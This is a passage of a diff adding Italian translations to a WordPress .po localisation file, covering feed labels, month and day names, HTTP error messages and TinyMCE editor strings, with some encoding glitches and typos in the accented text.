+msgid "Search Results %1$s %2$s"
+msgstr "Risultati della ricerca %1$s %2$s"
+
+#: wp-includes/general-template.php:504
+msgid "Page not found"
+msgstr "Pagina non trovata."
+
+#: wp-includes/general-template.php:820
+#, php-format
+msgid "%1$s %2$d"
+msgstr "%1$s %2$d"
+
+#. translators: Calendar caption: 1: month name, 2: 4-digit year
+#: wp-includes/general-template.php:1025
+#, php-format
+msgctxt "calendar caption"
+msgid "%1$s %2$s"
+msgstr "%1$s: %2$s"
+
+#: wp-includes/general-template.php:1051
+#: wp-includes/general-template.php:1061
+#, php-format
+msgid "View posts for %1$s %2$s"
+msgstr "Visualizza articoli di %1$s %2$s"
+
+#. translators: Separator between blog name and feed type in feed links
+#: wp-includes/general-template.php:1457
+#: wp-includes/general-template.php:1480
+msgctxt "feed link"
+msgid "&raquo;"
+msgstr "&raquo;"
+
+#. translators: 1: blog title, 2: separator (raquo)
+#: wp-includes/general-template.php:1459
+#, php-format
+msgid "%1$s %2$s Feed"
+msgstr "%1$s %2$s Feed"
+
+#. translators: %s: blog title, 2: separator (raquo)
+#: wp-includes/general-template.php:1461
+#, php-format
+msgid "%1$s %2$s Comments Feed"
+msgstr "%1$s %2$s Feed dei commenti"
+
+#. translators: 1: blog name, 2: separator(raquo), 3: post title
+#: wp-includes/general-template.php:1482
+#, php-format
+msgid "%1$s %2$s %3$s Comments Feed"
+msgstr "%1$s %2$s %3$s Feed dei commenti"
+
+#. translators: 1: blog name, 2: separator(raquo), 3: category name
+#: wp-includes/general-template.php:1484
+#, php-format
+msgid "%1$s %2$s %3$s Category Feed"
+msgstr "%1$s %2$s %3$s Feed della categoria"
+
+#. translators: 1: blog name, 2: separator(raquo), 3: tag name
+#: wp-includes/general-template.php:1486
+#, php-format
+msgid "%1$s %2$s %3$s Tag Feed"
+msgstr "%1$s %2$s %3$s Feed del tag"
+
+#. translators: 1: blog name, 2: separator(raquo), 3: author name
+#: wp-includes/general-template.php:1488
+#, php-format
+msgid "%1$s %2$s Posts by %3$s Feed"
+msgstr "%1$s %2$s Articoli per il feed %3$s"
+
+#. translators: 1: blog name, 2: separator(raquo), 3: search phrase
+#: wp-includes/general-template.php:1490
+#, php-format
+msgid "%1$s %2$s Search Results for &#8220;%3$s&#8221; Feed"
+msgstr "%1$s %2$s Risultati della ricerca per i feed di &#8220;%3$s&#8221;"
+
+#: wp-includes/general-template.php:1806
+msgid "&laquo; Previous"
+msgstr "&laquo; Precedente"
+
+#: wp-includes/general-template.php:1807
+msgid "Next &raquo;"
+msgstr "Successivo &raquo;"
+
+#: wp-includes/http.php:242
+msgid "User has blocked requests through HTTP."
+msgstr "L'utente ha bloccato le richieste via HTTP."
+
+#: wp-includes/http.php:723
+#: wp-includes/http.php:1341
+msgid "Too many redirects."
+msgstr "Troppi redirect."
+
+#: wp-includes/http.php:803
+#: wp-includes/http.php:930
+#, php-format
+msgid "Malformed URL: %s"
+msgstr "URL malformata: %s"
+
+#: wp-includes/http.php:814
+#: wp-includes/http.php:987
+#, php-format
+msgid "Could not open handle for fopen() to %s"
+msgstr "Impossibile aprire un handle per fopen() verso %s"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:26
+msgid "Do you want to use the WYSIWYG mode for this textarea?"
+msgstr "Si desidera utilizzare la modalitÃ  WYSIWYG per questa textarea?"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:28
+msgid "Insert"
+msgstr "Inserisci"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:32
+msgid "Browse"
+msgstr "Scorri"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:33
+#: wp-includes/js/tinymce/langs/wp-langs.php:313
+msgid "Class"
+msgstr "Classe"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:34
+msgid "-- Not set --"
+msgstr "-- Non impostato --"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:35
+#: wp-includes/js/tinymce/langs/wp-langs.php:240
+msgid "Copy/Cut/Paste is not available in Mozilla and Firefox."
+msgstr "Copia/Taglia/Incolla non sono disponibili in Mozilla e Firefox."
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:36
+msgid "Currently not supported by your browser, use keyboard shortcuts instead."
+msgstr "Attualmente non supportato dal vostro browser, utilizzare al suo posto le scorciatoie da tastiera"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:37
+msgid "Sorry, but we have noticed that your popup-blocker has disabled a window that provides application functionality. You will need to disable popup blocking on this site in order to fully utilize this tool."
+msgstr "Sembra che il blocco dei popup ha disabilitato una finestra che fornisce funzionalitÃ  a questa applicazione. Occorre disabilitare il blocco dei popup per questo sito per poter utilizzare questo strumento in maniera completa."
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:38
+msgid "Error: Invalid values entered, these are marked in red."
+msgstr "Errore: immessi valori non corretti, che sono marcati in rosso."
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:39
+#: wp-includes/js/tinymce/langs/wp-langs.php:244
+msgid "More colors"
+msgstr "Altri colori"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:46
+msgid "Full"
+msgstr "Completo"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:49
+msgid "%Y-%m-%d"
+msgstr "%Y-%m-%d"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:50
+msgid "%H:%M:%S"
+msgstr "%H:%M:%S"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:51
+msgid "Insert date"
+msgstr "Inserisci data"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:52
+msgid "Insert time"
+msgstr "Inserisci ora"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:53
+#: wp-includes/locale.php:140
+#: wp-includes/locale.php:155
+msgid "January"
+msgstr "gennaio"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:53
+#: wp-includes/locale.php:141
+#: wp-includes/locale.php:156
+msgid "February"
+msgstr "febbraio"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:53
+#: wp-includes/locale.php:142
+#: wp-includes/locale.php:157
+msgid "March"
+msgstr "marzo"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:53
+#: wp-includes/locale.php:143
+#: wp-includes/locale.php:158
+msgid "April"
+msgstr "aprile"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:53
+#: wp-includes/locale.php:144
+#: wp-includes/locale.php:159
+msgid "May"
+msgstr "maggio"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:53
+#: wp-includes/locale.php:145
+#: wp-includes/locale.php:160
+msgid "June"
+msgstr "giugno"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:53
+#: wp-includes/locale.php:146
+#: wp-includes/locale.php:161
+msgid "July"
+msgstr "luglio"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:53
+#: wp-includes/locale.php:147
+#: wp-includes/locale.php:162
+msgid "August"
+msgstr "agosto"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:53
+#: wp-includes/locale.php:148
+#: wp-includes/locale.php:163
+msgid "September"
+msgstr "settembre"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:53
+#: wp-includes/locale.php:149
+#: wp-includes/locale.php:164
+msgid "October"
+msgstr "ottobre"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:53
+#: wp-includes/locale.php:150
+#: wp-includes/locale.php:165
+msgid "November"
+msgstr "novembre"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:53
+#: wp-includes/locale.php:151
+#: wp-includes/locale.php:166
+msgid "December"
+msgstr "dicembre"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:54
+#: wp-includes/locale.php:155
+msgid "Jan_January_abbreviation"
+msgstr "gen"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:54
+#: wp-includes/locale.php:156
+msgid "Feb_February_abbreviation"
+msgstr "feb"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:54
+#: wp-includes/locale.php:157
+msgid "Mar_March_abbreviation"
+msgstr "mar"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:54
+#: wp-includes/locale.php:158
+msgid "Apr_April_abbreviation"
+msgstr "apr"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:54
+#: wp-includes/locale.php:159
+msgid "May_May_abbreviation"
+msgstr "mag"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:54
+#: wp-includes/locale.php:160
+msgid "Jun_June_abbreviation"
+msgstr "giu"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:54
+#: wp-includes/locale.php:161
+msgid "Jul_July_abbreviation"
+msgstr "lug"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:54
+#: wp-includes/locale.php:162
+msgid "Aug_August_abbreviation"
+msgstr "ago"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:54
+#: wp-includes/locale.php:163
+msgid "Sep_September_abbreviation"
+msgstr "set"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:54
+#: wp-includes/locale.php:164
+msgid "Oct_October_abbreviation"
+msgstr "ott"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:54
+#: wp-includes/locale.php:165
+msgid "Nov_November_abbreviation"
+msgstr "nov"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:54
+#: wp-includes/locale.php:166
+msgid "Dec_December_abbreviation"
+msgstr "dic"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:55
+#: wp-includes/locale.php:108
+#: wp-includes/locale.php:118
+#: wp-includes/locale.php:131
+msgid "Sunday"
+msgstr "domenica"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:55
+#: wp-includes/locale.php:109
+#: wp-includes/locale.php:119
+#: wp-includes/locale.php:132
+msgid "Monday"
+msgstr "lunedÃ¬"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:55
+#: wp-includes/locale.php:110
+#: wp-includes/locale.php:120
+#: wp-includes/locale.php:133
+msgid "Tuesday"
+msgstr "martedÃ¬"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:55
+#: wp-includes/locale.php:111
+#: wp-includes/locale.php:121
+#: wp-includes/locale.php:134
+msgid "Wednesday"
+msgstr "mercoledÃ¬"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:55
+#: wp-includes/locale.php:112
+#: wp-includes/locale.php:122
+#: wp-includes/locale.php:135
+msgid "Thursday"
+msgstr "giovedÃ¬"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:55
+#: wp-includes/locale.php:113
+#: wp-includes/locale.php:123
+#: wp-includes/locale.php:136
+msgid "Friday"
+msgstr "venerdÃ¬"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:55
+#: wp-includes/locale.php:114
+#: wp-includes/locale.php:124
+#: wp-includes/locale.php:137
+msgid "Saturday"
+msgstr "sabato"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:56
+#: wp-includes/locale.php:131
+msgid "Sun"
+msgstr "dom"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:56
+#: wp-includes/locale.php:132
+msgid "Mon"
+msgstr "lun"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:56
+#: wp-includes/locale.php:133
+msgid "Tue"
+msgstr "mar"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:56
+#: wp-includes/locale.php:134
+msgid "Wed"
+msgstr "mer"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:56
+#: wp-includes/locale.php:135
+msgid "Thu"
+msgstr "gio"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:56
+#: wp-includes/locale.php:136
+msgid "Fri"
+msgstr "ven"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:56
+#: wp-includes/locale.php:137
+msgid "Sat"
+msgstr "sab"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:59
+msgid "Print"
+msgstr "Stampa"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:65
+msgid "Direction left to right"
+msgstr "Direzione da sinistra a destra"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:66
+msgid "Direction right to left"
+msgstr "Direzione da destra a sinistra"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:69
+msgid "Insert new layer"
+msgstr "Inserisci nuovo livello"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:70
+msgid "Move forward"
+msgstr "Sposta in avanti"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:71
+msgid "Move backward"
+msgstr "Muovi dietro"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:72
+msgid "Toggle absolute positioning"
+msgstr "Attiva/Disattiva posizionamento assoluto"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:73
+msgid "New layer..."
+msgstr "Nuovo livello..."
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:77
+msgid "Cancel all changes"
+msgstr "Annulla tutte le modifiche"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:80
+msgid "Insert non-breaking space character"
+msgstr "Inserire un carattere di spazio non divisibile"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:83
+msgid "Run spell checking"
+msgstr "Esegui controllo ortografico"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:84
+msgid "ieSpell not detected. Do you want to install it now?"
+msgstr "ieSpell non presente. Si desidera installarlo ora?"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:87
+msgid "Horizontale rule"
+msgstr "Riga orizzontale"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:90
+msgid "Emotions"
+msgstr "Emozioni"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:93
+msgid "Find"
+msgstr "Trova"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:94
+msgid "Find/Replace"
+msgstr "Trova/Sostituisci"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:97
+#: wp-includes/js/tinymce/langs/wp-langs.php:219
+#: wp-includes/js/tinymce/langs/wp-langs.php:273
+msgid "Insert/edit image"
+msgstr "Inserisci/Modifica immagine"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:100
+#: wp-includes/js/tinymce/langs/wp-langs.php:215
+#: wp-includes/js/tinymce/langs/wp-langs.php:290
+msgid "Insert/edit link"
+msgstr "Inserisci/Modifica link"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:103
+msgid "Citation"
+msgstr "Citazione"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:104
+msgid "Abbreviation"
+msgstr "Abbreviazione"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:105
+msgid "Acronym"
+msgstr "Acronimo"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:106
+msgid "Deletion"
+msgstr "Cancellazione"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:107
+msgid "Insertion"
+msgstr "Inserimento"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:108
+msgid "Insert/Edit Attributes"
+msgstr "Inserisci/Modifica attributi"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:111
+msgid "Edit CSS Style"
+msgstr "Modifica foglio stile CSS"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:114
+msgid "Paste as Plain Text"
+msgstr "Incolla come Testo Puro"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:115
+msgid "Paste from Word"
+msgstr "Incolla da Word"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:116
+msgid "Select All"
+msgstr "Seleziona tutto"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:119
+#: wp-includes/js/tinymce/langs/wp-langs.php:121
+msgid "Use CTRL+V on your keyboard to paste the text into the window."
+msgstr "Utilizza CTRL+V da tastiera per incollare il testo nella finestra."
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:120
+msgid "Keep linebreaks"
+msgstr "Mantieni interruzioni di riga"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:124
+msgid "Inserts a new table"
+msgstr "Inserisci nuova tabella"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:125
+msgid "Insert row before"
+msgstr "Inserisci una riga prima"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:126
+msgid "Insert row after"
+msgstr "Inserisci una riga dopo"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:127
+msgid "Delete row"
+msgstr "Cancella riga"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:128
+msgid "Insert column before"
+msgstr "Inserisci una colonna prima"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:129
+msgid "Insert column after"
+msgstr "Inserisci una colonna dopo"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:130
+msgid "Remove column"
+msgstr "Rimuovi colonna"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:131
+msgid "Split merged table cells"
+msgstr "Separa le celle unite nella tabella"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:132
+msgid "Merge table cells"
+msgstr "Unisci celle tabella"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:133
+msgid "Table row properties"
+msgstr "ProprietÃ  riga tabella"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:134
+msgid "Table cell properties"
+msgstr "ProprietÃ  cella tabella"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:135
+msgid "Table properties"
+msgstr "ProprietÃ  tabella"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:136
+msgid "Paste table row before"
+msgstr "Incolla riga tabella prima"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:137
+msgid "Paste table row after"
+msgstr "Incolla riga tabella dopo"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:138
+msgid "Cut table row"
+msgstr "Taglia riga tabella"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:139
+msgid "Copy table row"
+msgstr "ProprietÃ  cella tabella"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:140
+msgid "Delete table"
+msgstr "Cancella tabella"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:141
+msgid "Row"
+msgstr "Riga"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:142
+msgid "Column"
+msgstr "Colonna"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:143
+msgid "Cell"
+msgstr "Cella"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:146
+#: wp-includes/script-loader.php:499
+msgid "The changes you made will be lost if you navigate away from this page."
+msgstr "Se si abbandona questa pagina i cambiamenti effettuati verranno persi ."
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:149
+msgid "Toggle fullscreen mode"
+msgstr "Attiva/disattiva schermo pieno"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:152
+#: wp-includes/js/tinymce/langs/wp-langs.php:302
+msgid "Insert / edit embedded media"
+msgstr "Inserisci/modifica inclusioni di elementi media"
+
+#. translators: Extra width for the media popup in pixels
+#: wp-includes/js/tinymce/langs/wp-langs.php:153
+msgctxt "media popup width"
+msgid "0"
+msgstr "0"
+
+#. translators: Extra height for the media popup in pixels
+#: wp-includes/js/tinymce/langs/wp-langs.php:154
+msgctxt "media popup height"
+msgid "0"
+msgstr "0"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:155
+msgid "Edit embedded media"
+msgstr "Modifica media incorporati"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:158
+msgid "Document properties"
+msgstr "ProprietÃ  documento"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:161
+msgid "Insert predefined template content"
+msgstr "Inserisci contenuto da template predefinito"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:164
+msgid "Visual control characters on/off."
+msgstr "Caratteri di controllo visuali on/off."
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:167
+msgid "Toggle spellchecker"
+msgstr "Attiva/disattiva correttore ortografico"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:168
+msgid "Spellchecker settings"
+msgstr "Impostazioni correttore ortografico"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:169
+msgid "Ignore word"
+msgstr "Ignora parola"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:170
+msgid "Ignore all"
+msgstr "Ignora tutto"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:171
+msgid "Languages"
+msgstr "Lingue"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:172
+msgid "Please wait..."
+msgstr "Attendi..."
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:173
+msgid "Suggestions"
+msgstr "Suggerimenti"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:174
+msgid "No suggestions"
+msgstr "Nessun suggerimento"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:175
+msgid "No misspellings found."
+msgstr "Nessun errore trovato."
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:178
+msgid "Insert page break."
+msgstr "Inserisci interruzione di pagina"
+
+#. translators: TinyMCE font styles
+#: wp-includes/js/tinymce/langs/wp-langs.php:182
+msgctxt "TinyMCE font styles"
+msgid "Styles"
+msgstr "Stili"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:183
+msgid "Font size"
+msgstr "Dmensione carattere"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:184
+msgid "Font family"
+msgstr "Tipo di carattere"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:185
+msgid "Format"
+msgstr "Formato"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:186
+msgid "Paragraph"
+msgstr "Paragrafo"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:187
+msgid "Div"
+msgstr "Div"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:188
+#: wp-includes/js/tinymce/wp-mce-help.php:216
+msgid "Address"
+msgstr "Indirizzo"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:189
+msgid "Preformatted"
+msgstr "Preformattato"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:190
+msgid "Heading 1"
+msgstr "Testata 1"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:191
+msgid "Heading 2"
+msgstr "Testata 2"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:192
+msgid "Heading 3"
+msgstr "Testata 3"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:193
+msgid "Heading 4"
+msgstr "Testata 4"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:194
+msgid "Heading 5"
+msgstr "Testata 5"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:195
+msgid "Heading 6"
+msgstr "Testata 6"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:196
+#: wp-includes/js/tinymce/langs/wp-langs.php:239
+msgid "Blockquote"
+msgstr "Citazione"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:197
+msgid "Code"
+msgstr "Codice"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:198
+msgid "Code sample"
+msgstr "Esempio di codice"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:199
+msgid "Definition term "
+msgstr "Elemnto definizione"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:200
+msgid "Definition description"
+msgstr "Descrizione definizione"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:201
+#: wp-includes/js/tinymce/wp-mce-help.php:212
+#: wp-includes/js/tinymce/wp-mce-help.php:225
+msgid "Bold"
+msgstr "Grassetto"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:202
+#: wp-includes/js/tinymce/wp-mce-help.php:212
+#: wp-includes/js/tinymce/wp-mce-help.php:225
+msgid "Italic"
+msgstr "Corsivo"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:203
+#: wp-includes/js/tinymce/wp-mce-help.php:213
+msgid "Underline"
+msgstr "Sottolineato"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:204
+#: wp-includes/js/tinymce/wp-mce-help.php:229
+msgid "Strikethrough"
+msgstr "Barrato"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:205
+msgid "Align left"
+msgstr "Allinea a sinistra"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:206
+msgid "Align center"
+msgstr "Allinea al centro"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:207
+msgid "Align right"
+msgstr "Allinea a destra"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:208
+msgid "Align full"
+msgstr "Giustificato"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:209
+msgid "Unordered list"
+msgstr "Lista puntata"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:210
+msgid "Ordered list"
+msgstr "Lista numerata"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:211
+msgid "Outdent"
+msgstr "No quota/no indenta"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:212
+msgid "Indent"
+msgstr "Quota/indenta"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:213
+#: wp-includes/js/tinymce/wp-mce-help.php:209
+msgid "Undo"
+msgstr "Annulla"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:214
+#: wp-includes/js/tinymce/wp-mce-help.php:209
+msgid "Redo"
+msgstr "Ripeti"
+
+#. translators: Extra width for the link popup in pixels
+#: wp-includes/js/tinymce/langs/wp-langs.php:216
+msgctxt "link popup width"
+msgid "0"
+msgstr "0"
+
+#. translators: Extra height for the link popup in pixels
+#: wp-includes/js/tinymce/langs/wp-langs.php:217
+msgctxt "link popup height"
+msgid "0"
+msgstr "0"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:218
+msgid "Unlink"
+msgstr "Togli link"
+
+#. translators: Extra width for the image popup in pixels
+#: wp-includes/js/tinymce/langs/wp-langs.php:220
+msgctxt "image popup width"
+msgid "0"
+msgstr "0"
+
+#. translators: Extra height for the image popup in pixels
+#: wp-includes/js/tinymce/langs/wp-langs.php:221
+msgctxt "image popup height"
+msgid "0"
+msgstr "0"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:222
+msgid "Cleanup messy code"
+msgstr "Pulisci codice"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:223
+msgid "Edit HTML Source"
+msgstr "Modifica sorgente HTML"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:224
+msgid "Subscript"
+msgstr "Pedice"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:225
+msgid "Superscript"
+msgstr "Apice"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:226
+msgid "Insert horizontal ruler"
+msgstr "Inserisci righello orizzontale"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:227
+msgid "Remove formatting"
+msgstr "Rimuovi formattazione"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:228
+msgid "Select text color"
+msgstr "Seleziona il colore del testo"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:229
+msgid "Select background color"
+msgstr "Seleziona il colore di sfondo"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:230
+msgid "Insert custom character"
+msgstr "Inserisci carattere personalizzzato"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:231
+msgid "Toggle guidelines/invisible elements"
+msgstr "Attiva/disattiva lineeguida/elemnti invisibili"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:232
+#: wp-includes/js/tinymce/langs/wp-langs.php:259
+msgid "Insert/edit anchor"
+msgstr "Inserisci/modifica ancora"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:233
+#: wp-includes/js/tinymce/wp-mce-help.php:208
+msgid "Cut"
+msgstr "Taglia"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:234
+#: wp-includes/js/tinymce/wp-mce-help.php:207
+msgid "Copy"
+msgstr "Copia"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:235
+#: wp-includes/js/tinymce/wp-mce-help.php:207
+msgid "Paste"
+msgstr "Incolla"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:236
+msgid "Image properties"
+msgstr "ProprietÃ  immagine"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:237
+msgid "New document"
+msgstr "Nuovo documento"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:241
+msgid "Path"
+msgstr "Percorso"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:242
+msgid "Are you sure you want to clear all contents?"
+msgstr "Si Ãš davvero sicuri di voler cancellare tutti i contenuti?"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:243
+msgid "Jump to tool buttons - Alt+Q, Jump to editor - Alt-Z, Jump to element path - Alt-X"
+msgstr "Vai ai pulsanti degli strumenti - Alt+Q, Vai all'editor - Alt-Z Vai all&#8217;elemento path - Alt-X"
+
+#. translators: Extra width for the colorpicker popup in pixels
+#: wp-includes/js/tinymce/langs/wp-langs.php:245
+msgctxt "colorpicker popup width"
+msgid "0"
+msgstr "0"
+
+#. translators: Extra height for the colorpicker popup in pixels
+#: wp-includes/js/tinymce/langs/wp-langs.php:246
+msgctxt "colorpicker popup height"
+msgid "0"
+msgstr "0"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:250
+#: wp-includes/js/tinymce/wp-mce-help.php:240
+msgid "About TinyMCE"
+msgstr "Info su TinyMCE"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:253
+msgid "License"
+msgstr "Licenza"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:258
+msgid "Loaded plugins"
+msgstr "Plugin caricati"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:260
+msgid "Anchor name"
+msgstr "Nome ancora"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:261
+msgid "HTML Source Editor"
+msgstr "Edito codice HTML"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:262
+msgid "Word wrap"
+msgstr "Ritorno a capo automatico"
+
+#: wp-includes/js/tinymce/langs/wp-langs.php:263
+msgid "Select a color"
+msgstr "Seleziona un colore"
+
